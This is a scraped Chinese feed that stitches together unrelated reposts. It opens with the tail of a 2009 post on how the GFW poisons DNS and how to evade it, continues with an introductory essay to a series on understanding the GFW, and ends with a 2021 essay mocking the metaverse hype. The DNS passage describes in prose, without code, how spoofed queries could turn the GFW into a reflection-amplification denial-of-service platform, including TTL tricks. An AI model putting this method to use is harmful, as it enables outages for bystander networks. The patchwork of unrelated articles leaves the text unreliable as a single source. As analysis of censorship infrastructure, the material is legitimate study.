之前我们已经谈到,GFW是一套入侵检测系统,仅对流量进行监控,暂没有能力切断网络传输,其“阻断”也只是利用网络协议容易被会话劫持(Session hijacking)的弱点来进行的。使用无连接UDP的DNS查询只是被GFW抢答了,真正的答案就跟在后面。于是应对GFW这种攻击很自然的想法就是:
根据时序特性判断真伪,忽略过早的回复。
通常情况对于分别处于GFW两端的IP,其RTT(Round-trip time,往返延迟)要大于源IP到GFW的RTT,可以设法统计出这两个RTT的合适的均值作为判断真伪的标准。另外由于GFW对基于TCP的DNS请求没有作处理,于是可以指定使用TCP而不是UDP解析域名。也可以通过没有部署GFW的线路到没有被DNS污染的NS进行查询,例如文章一开始提到的“远程解析”。但黑体字标出的两个条件缺一不可,例如网上广为流传的OpenDNS可以反DNS劫持的说法是以讹传讹,因为到OpenDNS服务器的线路上是经由GFW的。
本质的解决办法是给DNS协议增加验证机制,例如DNSSEC(Domain Name System Security Extensions),客户端进行递归查询(Recursive Query)而不查询已经被污染了的递归解析服务器(Recursive/caching name server)。然而缺点是目前并非所有的权威域名解析服务器(Authoritative name server)都支持了DNSSEC。Unbound提供了一个这样的带DNSSEC验证机制的递归解析程序。
另外GFW的DNS劫持还可能被黑客利用、带来对国际国内互联网的严重破坏。一方面,GFW可能在一些紧急时刻按照“国家安全”的需要对所有DNS查询都进行污染,且可能指定污染后的IP为某个特定IP,使得全球网络流量的一部分直接转移到目标网络,使得目标网络立刻瘫痪。当然我们伟大的祖国郑重承诺“不率先使用核武器”…另一方面,GFW将伪造的DNS返回包要发送给源IP地址的源端口,如果攻击者伪造源IP,会怎样呢?将会导致著名的增幅攻击:十倍于攻击者发送DNS查询的流量将会返回给伪源IP,如果伪源IP的端口上没有开启任何服务,很多安全配置不严的系统就需要返回一条ICMP Port Unreachable消息,并且将收到的信息附加到这条ICMP信息之后;如果伪源IP的端口上开启了服务,大量的非法UDP数据涌入将使得伪源IP该端口提供的服务瘫痪。如果攻击者以1Gbps的速度进行查询,一个小型IDC(DNSpod被攻击事件)甚至一个地域的ISP也会因此瘫痪(暴风影音事件)。攻击者还可能设置TTL使得这些流量恰好通过GFW产生劫持响应,并在到达实际目标之前被路由丢弃,实现流量“空对空不落地”。攻击者还可能将攻击流量的目标IP设置伪造成与伪源IP有正常通信或者其他关联的IP,更难以识别。这样实际上就将一个国家级防火墙变成了一个国家级反射放大式拒绝服务攻击跳板。
最为严重的是,这种攻击入门难度极低,任何一个会使用C语言编程的人只要稍微阅读libnet或者libpcap的文档,就可能在几天之内写出这样的程序。而GFW作为一套入侵防御系统,注定缺乏专门防范这种攻击的能力,因为如果GFW选择性忽略一些DNS查询不进行劫持,网民就有机可乘利用流量掩护来保证真正的DNS通信不被GFW污染。尤其是UDP这样一种无连接的协议,GFW更加难以分析应对。“反者道之动,弱者道之用。”
本文转自:https://gfwrev.blogspot.com/2009/10/gfw.html
GFW,Great Firewall of China,防火长城,通常把它看作一个国家级的网络审查系统。关于网络审查,人们通常首先会有一番政治性的话要说,不过政治批评这个角度的言论实在是过多,GFW的实体在“GFW”这个这个巨大的外壳之下隐藏了多年,人们只是对着“GFW”这个词空发怒气却并不知道它究竟是什么。实际上GFW除了是一个让网民十分不舒服的系统之外,在技术上它还是一个非常复杂有趣的黑箱,一个通关奖品是网络自由的解谜游戏。接下来一段时间我们便会对GFW进行深入的探索和理解,大家很快就会了解到它的趣味。提示:阅读此“深入理解GFW”系列之前建议读者对TCP/IP协议族、网络安全、反向工程有基本的了解。
知己知彼,百战不殆,我们应该先对GFW有清晰的技术性认识。防火长城条目称GFW的主要技术是域名劫持、IP封锁、关键字过滤阻断、HTTPS证书过滤。实际上这些技术在实现上可以归结为两种技术:IP封锁和入侵检测,其中入侵检测是核心。IP封锁因为比较底层,接近于切光缆拔网线,没有什么技术可言,这种封锁实施以后除了绕道而过也没有更好的解决办法。而入侵检测则是GFW最为强大灵活的功能。
传输层的TCP和UDP解析都是入侵检测业界的标准配置。UDP通常用来做DNS查询劫持,一个附加效果就是国内的域名缓存充满了污染。应用层就更加百花齐放了,因为解析一个协议实在不是一件困难的事情。所谓的SSL证书拦截也不过是稍微做了一下SSL/TLS协议的解析而已,并无神秘之处。这就是入侵检测的强大之处。
入侵检测的灵活之处在于它的部署和撤销都很便捷无副作用无延迟,匹配精确无误伤。举一例,要防止一些反动软件通过https访问google docs获取信息,怎么做?在应用层检测证书显然是杀鸡用牛刀浪费性能了;用动态路由封特定IP的特定端口是不行的,因为解析结果在不断地变,动态路由的变化跟不上;用域名污染更不行了,把80端口的web业务也搞掉了,影响太大;所以就在传输层乱发RST做无状态的连接阻断,写个脚本定时更新解析结果,这也就是google的数据中心只有在中国解析出来的那部分被封掉的原因。
GFW的设备有两种,一种是在北京、上海、广州搭在总交换中心上做旁路监听的入侵检测设备,一种是放在ISP那里的动态路由设备。一般来说入侵检测总是比动态路由来得灵活,所以RST要比封IP更常用。另外,碰到网站无法访问然后traceroute发现线路死在ISP骨干上于是责怪ISP,这是不合理的。中国的ISP的一项主要业务就是接待各个强力部门的插入,纪检、军队、公安之类的部门都会长期插入。
GFW的日常工作方式:当国新办发现了反动文宣,当公安部十一局发现了色情图片,当版署发现了盗版网站,总之当有关部门发现了有害非法信息,就发指令给GFW,然后GFW的政策部门研究一下采取怎样的具体封锁措施为宜,然后将具体操作交给技术部门执行封锁。解封也是一样的渠道,简而言之就是领导一句话胜过千军万马,至于让领导发这一句话靠的就是PR了。举一例,受到NED暗中操控的twitter长期以来充满反动有害信息,但做技术的人都明白twitter的这种架构是没有办法封的。对twitter.com什么办法都用了,效果不大好,结果领导不满意地催促了。这个交不了差是很严重的事情啊,怎么办呢,就对twitter搞破坏吧。凡是跟twitter有关的第三方网站,见一个斩一个,领导你看我都把twitter诛九族了,这已经是自古以来用刑的极致了。再举一例,如何封掉一个网站?先在这个网站上放置一些有害非法信息,再去违法和不良信息举报中心(后台国新办)举报之,等十天就成了。
GFW的研发方式:“国家信息安全管理系统”建设的历史参见《阅后即焚:“GFW”的前世今生,一部“GFW”之父方滨兴的发家史》。当有关部门发现了一个反革命翻墙方法,就告诉GFW,然后GFW的逆向工程人才研究一下这个方法的工作方式,找到它的特定模式和弱点,制定相应的封锁预案。当有关部门指示实施封锁的时候,预案便付诸实施。p2p方面的反动软件比较不好办,于是在第一生产力院成立242项目“P2P协议分析与测量”专门研究之。
GFW实体是安管中心(CNCERT/CC),是事业单位。一个事业单位的政治地位可以想是很低的,凡是它的上级都可以向它下指令进行网络封锁,而它本身则没有任何主观能动性,专于业务,勤勤恳恳抓好国家安全基础设施的建设。如果转换角度,从GFW的视角来考虑,那么GFW所做的事情其实并不神秘,其实恰恰符合了它自己的名义。我们来看看精美的“宽带网络环境下恶意代码监测系统”,你们访问一下blogger、wordpress那就是URL攻击啊,而且要比一般的钓鱼攻击和病毒更严重,因为危害的是党和国家的安全啊。GFW的研发也与一般的网络安全公司所做别无二致,监视分析网络流量,逆向工程有害软件,阻断恶意攻击,区别只在于:GFW为了国家安全也要处理一下你们这些反革命的攻击;另外GFW还开了金钱无限、人口无限和无敌秘笈。
政府、GFW与网民构成了一个生态系统,政府与GFW共生于食物链的上端,网民处于食物链的下端。有人称之为“猫和老鼠的游戏”。观GFW与网民的互动历史,可以归结为相互提升技术水准的军备竞赛,但尽管如此两者的关系也从来没有打破GFW越来越善于主动追捕网民越来越善于被动逃避的模式。从最开始的普通HTTP代理、SOCKS代理,到加密代理软件,到种类繁多的网页代理,到VPN、SSH代理,到p2p网络,以及混合方法。然而这些方法都未曾彻底免于GFW的封锁,这是因为GFW很善于进攻,而网民们迄今为止只会不断地四处寻找新的逃避办法。
这种互动模式的问题在于,随着军备竞赛的继续,GFW越来越完善越来越强大,而网民不断地失去手中的牌,翻墙的难度和成本越来越高。GFW是这个领域(网络安全)的专业人士,而网民虽然富有群体智慧,但是其技术能力缺乏有效组织不能与GFW对等。因此如果稍微看得远一些就会了解到,这种模式对于网民来说是不可持续的,总有一天GFW会超过绝大多数网民的技术基准线。所以,唯一的出路便是改变方式,突破这种模式。
网民突破当前被动态势方法的基本原理,在后面的章节中我们会看到,在于利用GFW在善于进攻的同时不善于防守的特点。与其把GFW看作国家网络暴力机关,不如把GFW看作一个网络安全机构,事实上它也是一个网络安全机构(CNCERT/CC)。任何安全系统必然都有漏洞和弱点,它所提供的这个GFW安全解决方案(国家信息安全管理系统)也不例外。网民并非缺乏技术,而是技术没有得到有效组织,没有往这个方向进行有效投射。实际上GFW漏洞和弱点并不少,有一些甚至是理论上无法解决的,这在以后会详细论述。正如《阅后即焚》一文所言,GFW尽管是中国少有的顶尖科研力量与国家强力支持结合的产物,“但也无法摆脱山寨的本性——做一个东西出来很容易,但是要把这个东西做得细致严格就不行了”。
更进一步,除了利用GFW本身的问题以外,网民甚至还可以考虑采取网络正当防卫的方式阻止GFW的非法行为。像GFW这种机构,无行政立法,无舆论监督,无申诉渠道,被少数别有用心的人利用,滥用国家安全之名义,封锁与国家安全毫无关系的网站,对合法的网络通信进行干扰和攻击,“对计算机信息系统正在进行传输的合法数据进行篡改,向计算机信息系统进行攻击令其无法正常运行”,甚至曾多次造成全国性网络故障,已触犯《中华人民共和国刑法》第二百八十六条,情节特别严重,后果特别恶劣,等等。
然而另一方面,GFW与网民之间已经或者即将形成某种稳态,这种稳态是双方斗争状况下的动态平衡,是需要有意识维护的。一个无法控制的网络是无法被政府所容忍的,当网络无法控制时政府是不吝于切断一切网络的(你一定知道我在说什么),稳态的破坏也就意味着环境的毁灭。一个理想的稳态就是网络处于“看起来”可以控制的状态,让GFW处于不断取得小型封锁成功的虚幻胜利感之中,网民个人各自掌握非中心化的翻墙方法。一个中心化的大众翻墙方法(最典型的例子就是设置hosts静态解析)必定无法避免被当局发现并被GFW封锁。下一代的翻墙方法应该是去中心化的(p2p)、小众的、多样化的、混合型的、动态更新的。
有两篇重要文献在这里要推荐。
首先是Thomas Ptacek等在98年发表的Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection。这篇是在入侵检测领域具有里程碑意义的论文,是论述入侵检测原理性漏洞的集大成者。其简明介绍早在07年就出现在英文维基,非专业人士可以一睹为快;专业人士建议仔细阅读原文,以后关于探索GFW漏洞的技术都基于此篇论文所描述的原理。
另外一篇是《阅后即焚:“GFW”的前世今生,一部“GFW”之父方滨兴的发家史》,是一份关于GFW的详尽的社会调查,澄清了大量关于GFW的误解,本文大量引用此文。这篇文章的重要性从侧面可以发现:前面引用过中文维基的防火长城条目,如果直接访问会发现,这个条目直接访问之后维基百科就被封锁了。这是有原因的,而且原因是可以找到的,寻找原因的方法将在以后几节介绍,这里长话短说原因就是:这个页面中含有一个关键词:“阅后即焚”。与一般的关键词不同,这个关键词很厉害,随便什么地方出现这个关键词都会引起有趣的现象,比如这里,这种现象通常被人们称为深度包检测。像法轮六四这样煽动颠覆的词语都没有成为深度检测关键词,这种顶级过滤的词很少,另一个例子就是GFW头号死敌的名字:“dongtaiwang.com”。一般来说,越是被禁止,就越有趣;越是被否认,就越接近真相。另外注意到,有一篇内容相似的文章《GFW的前世今生》,对比两者发现后者似乎被添加了一些不相关或者夸张性的文字,原文应该是首发在自曲新闻的前者。
在下一次的文章中我们将介绍GFW进行黑箱分析的方法,并得到一些有趣的结果。
]]>本文转自 :https://mp.weixin.qq.com/s/NgIkudVZrnbA1KwZfEgoQQ
行了,是时候来聊聊这个让 Facebook 丢下脸面的东西了。
美国当地时间2021年10月28日,在一年一度的 Facebook Connect 开发者大会上,马克·扎克伯格正式宣布,创立于 2004 年的 Facebook 正式更名为“Meta”——也就是“元宇宙(Metaverse)”的那个“元”。
靴子落下来了。不要面子的小扎,笃定要玩一把新概念给 SNS 续一波命了。
Facebook 的更名似乎对元宇宙概念来说并不是好事,它甚至是某种象征,它给了火热近一年但至今仍然没人能解释清楚的元宇宙概念浇了一盆冷水。
随着更名事件在中英文世界刷屏,除了极端的技术乐观主义者,人们普遍对元宇宙的批判大过了期待。在微博和 Twitter 上元宇宙成了许多段子嘲讽的对象。但正如没人能说清楚什么是元宇宙一样,就连批判元宇宙似乎也无的放矢。
毕竟,你似乎是永远打不败一个根本不存在的新东西。
本文共 19572 字,大约需要阅读 35~50 分钟。先上结论,我们认为:
元宇宙=2010 年代的过时技术风口+1990 年代的复古科幻概念+08 年次贷危机般的金融创新。
去网上搜一下,你会发现不同机构画的行业图谱差异巨大,但他们都有一个特征:囊括了过去 5 年吞噬了大量融资,但市场化失败的技术。
VR 几乎是这一特征的代表性技术,其次是去中心互联网,其它的后面我们也会稍稍谈到。
以扎克伯格为代表的“元宇宙”新贵,纷纷把 VR 视作 metaverse 的入口。尽管在演讲和 PPT 中留下了“其它设备也可以接入”的后手,但有“沉浸感”这个大前提摆在前面, VR 对元宇宙的重要性,毋庸置疑。
如今提起 VR,许多人的直观印象不外乎就是“昂贵”和“眩晕”,以及“复杂”衍生的“吃灰”。自从 2016“VR元年”的泡沫破灭之后,整个 VR 行业马上陷入了缓步增长苟且偷生的过冬状态;那么,在这种状态下撑过五年苟活至今的主流VR产品,真能撑起画饼大过天的“元宇宙”吗?
答案并不乐观。
首先要明确一点,从 VR 由热转冷的五年时间里,诸如“VR 眩晕”以及“VR成本高昂”的唱衰论调,都属于典型的以讹传讹:
之所以会有那么多人抱怨 VR 让自己天旋地转,原因不外乎就是一上来接触了粗制滥造的 VR 手机盒子、连接 VR 设备的 PC 配置不足导致画面卡顿掉帧、用站姿而非坐姿进行体验以及早期 VR 设备确实存在的舒适度缺陷(后文详述);
至于硬件成本,在过去 5 年更是随着 VR 一体机的普及不断下跌,如今的主流 VR设备,入手价格已经和非旗舰的主流中端手机相差无几,且无需高配 PC 也可以独立运行,使用与沉没成本大大降低。
但即便如此,凭借现如今的主流 VR 硬件水平,想要胜任“元宇宙入口”的重任,依旧是力有不逮的:想象一下,一个 500 克左右的塑料盒子紧紧箍在眼前、几乎所有的重量都压在颧骨上方、密不透风的盒子散发的所有热量都被厚厚的海绵聚拢在双眼周围的感觉吧——无处排遣的闷热让人头晕脑胀,汗水淋漓的朦胧视野更是让所有提升分辨率的努力付诸东流。
从五年前开始,这种丝毫谈不上惬意的体验就彻底败坏了 VR 产业的声誉,诸如“显示分辨率不足制约 VR 发展”以及“VR 必晕”一类以讹传讹的论调,就此流行起来。
不仅如此,在最基本的产品设计方面,现如今的主流 VR 设备,和 5 年前的主流 VR 产品相比,基本形态几乎可以用“原地踏步”甚至开倒车来形容:
这是 2021“元宇宙元年”的代表性 VR 设备——Facebook(现在应该叫 Meta 了)出品的 Oculus Quest 2;
这是开启 2016“VR元年”的主流VR设备——Facebook 收购并出品的第一代消费级VR头显套装,Oculus Rift。
暂且不论外接配件,单从我们能接触到的部分来看,一个密不透风的塑料盒子+两个环形外轮廓的无线手柄,这就是从五年前到现在,主流 VR 厂商带给我们的一切——至于实际体验,基本就是用遥控电视机的姿势悬腕操作两个鼠标,灵活度尚可,准确度需要适应,便捷性远没有看上去那么自如,疲劳值倒是涨得飞快。
没错,2021 年的新一代产品确实包含了手势追踪机能,但如果这种解放双手的操作真有那么好用,为何还要标配两个无线控制器?答案不言而喻。
这还远远不是重点,更大的问题在于,尽管连接 PC 的 VR 设备作为演示机在 2016 年成功吸引了不少投资者的目光,但在意识到 2016 年的主流 PC 配置很难兼顾 VR 体验的画质与流畅度、C 端用户想要玩得爽必须砸钱升级 PC 硬件的事实之后,相当一部分 VR 厂商放弃了 PC,选择了除去便宜一无是处的手机 VR 盒子路线,创造出了“直接把移动平台芯片封进 VR 外壳”的所谓“VR 一体机”——这股潮流一直延续到了今天,2021 年标榜“元宇宙入口”的主流 VR 设备,基本都是这个调调。
显而易见,哪怕是和同时期的主流 PC 平台相比,主流移动芯片的运算和图形性能都不在一个量级上;然而,尽管从最基础的画面帧率到攸关互动体验的空间定位性能全面劣化,凭借便宜的优势以及卖力的宣发推动,VR 一体机依旧占据了消费端市场,成为了 VR 行业的新主流。
在这种劣币驱逐良币的大趋势下,“尽快追平 2016VR 元年树立的产品标杆”变成了这些主流 VR 厂商的最高任务;时隔五年之后,这些尚未被淘汰的 VR 一体机厂商,终于用捉襟见肘的预算和各种取舍,在一个全面缩水的硬件平台上,勉强实现了五年前 PC 平台 VR 设备的基础功能:
五年前的 Oculus Rift,拥有 1080 x 1200 的单眼分辨率、90Hz 的标准屏幕刷新率外加精度不错的 Outside-in 六自由度空间定位系统;
五年后现如今的 Oculus Quest 2,拥有 1832 x 1920 的单眼分辨率、90Hz的常规屏幕刷新率,外加只要不超出摄像头范围那效果就还可以的 Inside-out 六自由度空间定位系统;
与此同时,五年的时间并没有让 Oculus Quset 2 实现理想中的轻量化,超过 500 克的机身重量甚至比470克出头的初代产品表现更糟;
而在瞳间距调节这种攸关舒适度的细节上,Oculus Quest 2 的表现同样比不过五年前的初代主流VR设备,至于发热这种只有体验过才会叫苦不迭的头号难题,只能说,和 Oculus Quest 2 短暂的续航时间算是绝配。
然而,即便做出了这么多的取舍,最终成功实现“成本控制”单一目标的主流 VR 一体机,依旧远远算不上能让业界满意的硬件平台——举个最直接的例子,对于那些不得不转投 VR 一体机的内容开发者来说,他们不得不降低自己作品的视觉效果甚至压缩删减内容来满足这个瘸腿平台的性能需求。最终,这种削足适履的局面,导致了两个十足黑色幽默的结果:
一方面,尽管收买过不止一家内容团队砸下过大笔资金,时至今日,Oculus Quest 2真正有资格做为招牌吹嘘一下的VR游戏,只有《Beat Saber》一款而已;为了彰显自家 VR 平台前景远大,Facebook 甚至还收买了一批经典但上市至少也有十年的游戏IP,计划用不止一份 VR 冷饭壮大声势——Meta “元宇宙”的始发平台要靠这种陈年把戏来撑场面,真不知是可笑还是可悲。
另一方面,即便凭借低廉的价格吸引了一批萌新,但作为 VR 一体机,Oculus Quest 2 孱弱的性能外加并不丰厚的游戏阵容,并没有让热度维持在理想的高度上——最终,玩家手中的 Oculus Quest 2 要么吃灰遇冷,要么就是被用户彻底抛弃“移动VR”的无用噱头,连上 PC 去玩 SteamVR 的游戏。兜兜转转绕了一大圈,最后还是回到了五年前的起点,也算是一种轮回。
总之,整整重复造了 5 年轮子,且 5 年后的主流轮子,还真不一定比 5 年前的主流轮子更出色更好用,这就是承载“元宇宙”入口重任的 VR 产业面临的现状——而对于“元宇宙”来说,这还远远不是麻烦的全部。
五年的发展换来寥寥无几的迭代进步,作为独立终端,VR 一体机显然跟不上“元宇宙”新贵们的画饼力度;为了避免作茧自缚的歧路技术拖自己野心的后腿,新贵们高调打出了“分布式”的底牌,仿佛只要把“元宇宙”化整为零,一切麻烦都可以自动解决。
由于区块链技术和加密数字货币市场的火热,去中心网络几乎成为元宇宙行业图谱中第二重要的一项应用。当然还有一个原因是,如今已更名为 meta 的 Facebook 公司曾在 2019 年宣布了其去中心数字加密货币项目 Libra。这是世界上第一个如此大规模的商业公司在数字加密货币领域的尝试。
与去中心的加密数字货币不同,去中心互联网给了人们另一个许诺:用户将获得对自己网络行为和财产的完全控制权,我们每个人都将拥有真正属于自己而非被算法、平台和资本操控的互联网世界。
哦,听上去真是太棒了。
幻想类作品当中有个叫 Phlebotinum 的概念,简单来说就是不管逻辑原理,遇上问题找它就能通通解决——《沙丘》的美琅脂(香料)和《星球大战》的原力都是这种东西。那么,这种虚构作品里的便宜事,在真实世界当中能不能成立呢?
很遗憾,2021 虽然是个充满魔幻色彩的年份,但它的基调依旧是冷冰冰的现实:去中心化的加密数字货币短期内也许不会死,但摆脱传统资本+主权控制的去中心化互联网短期内也实现不了。
比特币网络从 2008 年开始,已经稳定运行了13年。尽管有许多主权国家先后尝试过摧毁比特币网络,但从未成功。
然而这种分布式金融网络的成功,基于金融应用本身对网络资源的低消耗。众所周知,用最最简化的逻辑来描述:去中心意味着冗余,冗余意味着成倍的消耗资源和成本,而成倍的成本意味着对资本更大的依赖而不是更少。
说的详细一点,目前,普通的,可民用的非金融性分布式网络分为两个路径,一部分是纯粹的分布式网络,比如 ZeroNet、I2P 和 IPFS 等。这种模式下,构建一个网络应用的全部技术都需要分布式,包括存储、计算与传输。在另一种模式下,比如使用以太坊构建的一系列 Web 应用,这些应用仅对关键技术进行分布式以试图解决一些中心化网络的问题。
这两种模式分别面临两种不同的发展困境,我们先来否定第二种,第二种的本质就是掩耳盗铃。在中国 Web 3 圈有一个非常恶毒的鲁棒性测试,就是一个 Web 3 应用不管吹的多么天花乱坠,唯一检测它是否靠谱的方法,就是把它举报到网信办,看看它是否会因为涉黄涉政被封掉。
在这种测试,或类似的监管情况下,第二种模式是不堪一击的。
因为传统主权国家和商业机构对互联网应用的控制,遍及互联网技术的每一个链条。除非你将应用的构建、数据的存储、云计算、分发以及用户的每日触达的每个环节都分布式,那么你的分布式应用就没有任何意义。
比如使用以太坊似乎可以逃避主权国家关于支付和金融监管的各项规定,但是上如果你的交易量足够大,你的域名、服务器等非中心化的部分就会被查封,你的公司实体就会被关闭,你自身甚至会因为违反证监会或 SEC 的相关规则而锒铛入狱。
以上例子并不针对中国,在美国和任何监管完备的国家同样适用。
相比之下,第一种似乎更能实现分布式网络本来的诉求——创造真正由每个用户个体自己所控制的互联网。
然而,这种模式的难点是,既然它完全被用户所控制,意味着它完全依赖用户的资源来构建,因此易用性极低。
我们以微博为例,知乎上曾有人推算微博在 2011 年全年生产的数据为 370T(知乎问题:新浪微博每天几亿用户产生上万G信息是怎么储存的?),这一数字在进入视频时代之后有爆炸性增长,但我没能找到更新的数字,因此我们就以 2011 年的数字来计算。
尽管看起来这个数字对于一家互联网企业来说并不算大,但对于普通用户来说仍是一个天文数字。
如果我们要以纯粹分布式的技术构建一个微博,这意味着我们需要在用户端存储这 370T 的数据。并且是以复数的形式存储,因为我们不能保证用户是实时在线的。
为了保证这 370T 的数据随时可被任何地理位置、任何时区的用户访问,每条数据可能要至少在 100 个 用户那里被存储,因为与 24 小时高质量在线的中心化数据中心不同,用户可能随时离线。这意味着,即便这份数据被 100 个用户存储,任何一个时间点可访问到的数据源可能也只有其中的 10 个。
那么,存储需求会迅速膨胀到 100 倍,也就是 37000T。
考虑到根本不可能有普通用户会贡献出 370T 的存储空间,因此实际的情况是每份完整数据,大概需要被存储在 740 个愿意贡献出 512G 空间的用户那里。这意味着想要稳健的以分布式存储这一年份的微博数据(100 倍容错),需要至少 74,000 十分慷慨的做种用户。
而实际上,这还只考虑了存储的问题。还记得经典版微博遇到的最大困境是什么嘛?是明星出轨时的扩容问题,也就是带宽与计算性能问题。
由于目前主流的民用宽带均为不对等带宽,实际上 74,000 个普通用户所提供的上传带宽,根本不可能满足微博用户日常的浏览需求,也就是说这些数据虽然被安全的存储了,却不能被实时预览。体现在用户体验上,就是这个分布式微博的“卡顿”和“炸”将成为日常。
事实上,分布式的微博一直存在于上文举例的 ZeroNet、I2P 和 IPFS 中。但由于易用性问题,即便是在 Tumblr 扫黄和川普卸任时引发的百万人卸载 Twitter 这种大规模的“数字迁徙”中,普通用户也绝不会选择这些易用性差但“真正属于自己”的互联网应用。
他们只会从一个中心化的坑,跳进另一个中心化的坑。
因为实践证明,互联网应用的易用性才是互联网普及的真正原因,如果互联网为了某种哲学或意识形态上的执着而降低易用性,那么大多数人的选择只会是“不用”。
回到去中心互联网与元宇宙的关系上,去中心互联网自己所遇到的这些问题,在元宇宙中可以被解决吗?
不可以。
甚至恰恰相反,元宇宙中精致的模型,海量的数据和庞大的计算量都会要求更加集中化成本更低的云形态,这一点与 Web 3 所能解决的完全相反。
推出的 Libra 在经历了几次白皮书修改和更名后,至今也处于难产状态。与它的 VR 业务一样,属于“你做的很好,但不要算进估值哦”的业务。
元宇宙技术之坑,何止是 VR 与分布式网络。
要估测这个坑究竟有多深,首先,我们要找一张元宇宙行业图谱出来,看看除了上文提到的两个节点之外,还有哪些技术被包进了元宇宙概念里。
除了 VR 和分布式网络这两个产品形态最明确,槽点也最详细的概念技术之外,在目前的元宇宙技术图谱上,其它相对没那么清晰的技术和概念节点,基本可以分为两个类型:其一是类似 Phlebotinum 的画饼,其二是根本不能自洽的忽悠。
首先是 Phlebotinum 类。正如前文介绍,这个概念基本可以理解为“万金油”,也就是不必纠结细节,一经启用立刻解决一切麻烦的技术玄学——除了前面提过的分布式网络,“元宇宙”技术图谱上的 Phlebotinum 节点,还包括这些:
“有 AR 就好了,AR 好了,元宇宙就好了”;
“有 5G 就好了,5G 好了,元宇宙就好了”;
“有物联网就好了,物联网好了,元宇宙就好了”。
一条一条来。首先是 AR,不可否认,这项技术确实是目前所有移动终端厂商的必争之地,在过去的五年当中,不管是 iOS 还是 Android,全球所有能够影响市场的手机厂商,都在这个领域投入了大量资源进行布局,不仅仅是开发套件和应用环境,产品原型同样屡见不鲜——然而,时至今日,真正投放市场且产生过实际影响力的穿戴式民用 AR 设备有多少?
答案是 0。
直到今天,提起穿戴式 AR 设备,大多数人的第一印象依旧是起步崩殂的 Google Glass,偶尔还能想起挂羊头卖狗肉结果沦为笑柄的 Snapchat Spectacles,真正能够被 C 端用户——哪怕仅仅是小众市场——接受的穿戴式 AR 设备到底应该是什么模样,谁都不清楚。
唯一可以确认的是,过去不止五年的时间里,“苹果即将推出 AR 眼镜”属于年年必有年年落空的谣言,“所有厂商都在等待苹果打响第一枪”同样是心照不宣的传说,至于什么时候落地,大概是“下次一定”吧。
而这种落空是必然的,因为如果你打开几年前吹 AR 的报告看一下,那里面的行业图谱会涉及不止一个现阶段消费技术领域难以突破的关键节点。这些技术的演进,可能会以 10 年为单位缓慢进步,而按照产业树的演进思路,那些基础技术即便是有了突破,也会在几十年后才会影响到元宇宙。
然后是 5G。相比于画饼多年的 AR,5G 的落地效率明显要高得多,但时至今日,在 C 端市场 5G 网络究竟能有什么价值,争议依旧没有停止——“5G 拯救 VR 行业”乃至“5G 开启 AR 时代”的论调之所以会甚嚣尘上,显而易见,这些属于未来的愿景最适合用 Phlebotinum 买单。
但必须指出,暂且不提八字还没一撇的穿戴式 AR 设备,即便已经实现了理想中的 5G 网络覆盖率,现阶段的 VR 终端能有多大进步,依旧存疑——就在今年年初,Google 宣布关闭 Stadia 第一方内容工作室,曾经被创投圈寄予厚望、认为有潜力开启“云游戏”新时代的 Google Stadia,沦落为平台方自己都不看好前途的第三方线上商店。
和之前的消费级 AR 眼镜一样,Google的努力再次浅尝辄止,至于下一位寄希望于云端的选手能不能用 5G 和 AR 以及 VR 在“元宇宙”创造奇迹,不妨拭目以待。
最后让我们看看物联网。和元宇宙已知的 Phlebotinum 画饼相比,物联网在这个技术图谱上的形象几乎是最模糊的,翻来覆去就是“虚实共生”“链接万物”之类的片儿汤话,但问题在于,以“元宇宙”新贵的标准来看,将现实世界屏蔽在外营造出的沉浸式体验,才是元宇宙的“meta”真正的价值所在;
所以说,强调“现实连接”的物联网,对于强调数字化沉浸的“元宇宙”来说,又有什么意义呢?
目前最符合逻辑的答案,恐怕得等到“元宇宙”的疆域扩展到 AR 领域才能揭晓——这样一来,等于是又回到了最开始的“AR 好了,元宇宙就好了”,又轮到 Phlebotinum 买单了。
除了这些乍看前途无量实则净是空谈的 Phlebotinum 技术节点,在现阶段的“元宇宙”蓝图上,不符合逻辑甚至自相矛盾的愿景丝毫不鲜见,例如沉浸:一方面,沉浸感是元宇宙的核心价值所在,另一方面,达到预期的沉浸感,导致沉迷怎么办?
时至 2021 年,对互联网沉迷,或者互联网对我们生活“包裹”的反抗与管制已经不再是中国的特色。在西方社会关于降低屏幕时间、降低社交产品成瘾性和对数字公司免费产品征收额外税费的讨论,并不比中国家长要去关停游戏的呼声低。
不允许沉迷,所以要降低沉浸感?那还要元宇宙干什么,互联网不香吗?
不允许缩水沉浸感,所以放松对沉迷的监管?那按照“元宇宙”新贵的逻辑,某位国产科幻大户已经写好了咱们的未来:
“未来的虚拟世界确实是天堂,在那里面每个人确实是上帝,其美妙是任何想象都难以企及的。我只想像一下那时的现实世界。开始,现实中的人会越来越少,虚拟天堂那么好,谁还愿意呆在苦逼的现实中,都争相上载自己。地球渐渐变成人烟稀少的地方,最后,现实中一个人都没有了,世界回到人类出现前的样子,森林和植被覆盖着一切,大群的野生动物在自由地漫游和飞翔……只是在某个大陆的某个角落,有一个深深的地下室,其中运行着一台大电脑,电脑中生活着几百亿虚拟人类。”
——《不能共存的节日》,刘慈欣
当然,肯定也有人想到了《头号玩家》电影的结尾,用“定时断网”的强制手段来避免沉迷——但是,既然我们投入了这么多,最终造出的是一个极有可能让全人类万劫不复的数字敌托邦,干嘛不在一开始就避免这种搬起石头砸自己的脚的闹剧?互联网还有现实宇宙真的不够香吗?
最后的最后,如果一定要挑出现阶段“元宇宙”技术蓝图最大的逻辑问题,那么显而易见——真正的“元宇宙”,根本就不该让Faceook这种寡头来创造。
无论是《雪崩》还是《玩家一号》,这些为“元宇宙”新贵的愿景PPT提供了展现素材的科幻作品,都包含着一个相同的内核:
和崩溃边缘的糟糕现实相比,流光溢彩的虚拟世界才是躲避一切苦难的归宿;至于这片乐土的创造者,则是一群偏执到近乎鲁莽、相比于盈利更重视内容素质的怪胎,再加上无数认同这些怪胎的Geek。
正是凭借这些不认钱的开拓者付出的不懈努力,门槛极低但沉浸感史无前例的Metaverse(来自《雪崩》)和绿洲(来自《玩家一号》) 才得以正式上线,进而彻底改变了整个互联网和人类社会的形态。
那么问题来了,如果创造“元宇宙”的不再是一群不看重利润只重视用户体验的技术怪胎,最终的结果又会如何呢?
他们要“绿洲”玩家按月缴费,在每个角落设置广告,让用户的隐私和言论自由成为过去式。一旦IOI接手这个游戏,那么“绿洲”将不再是我童年的乌托邦。它会成为垄断企业运营的反乌托邦世界,阔佬们才玩得起的主题公园。
——《头号玩家》,恩斯特·克莱恩
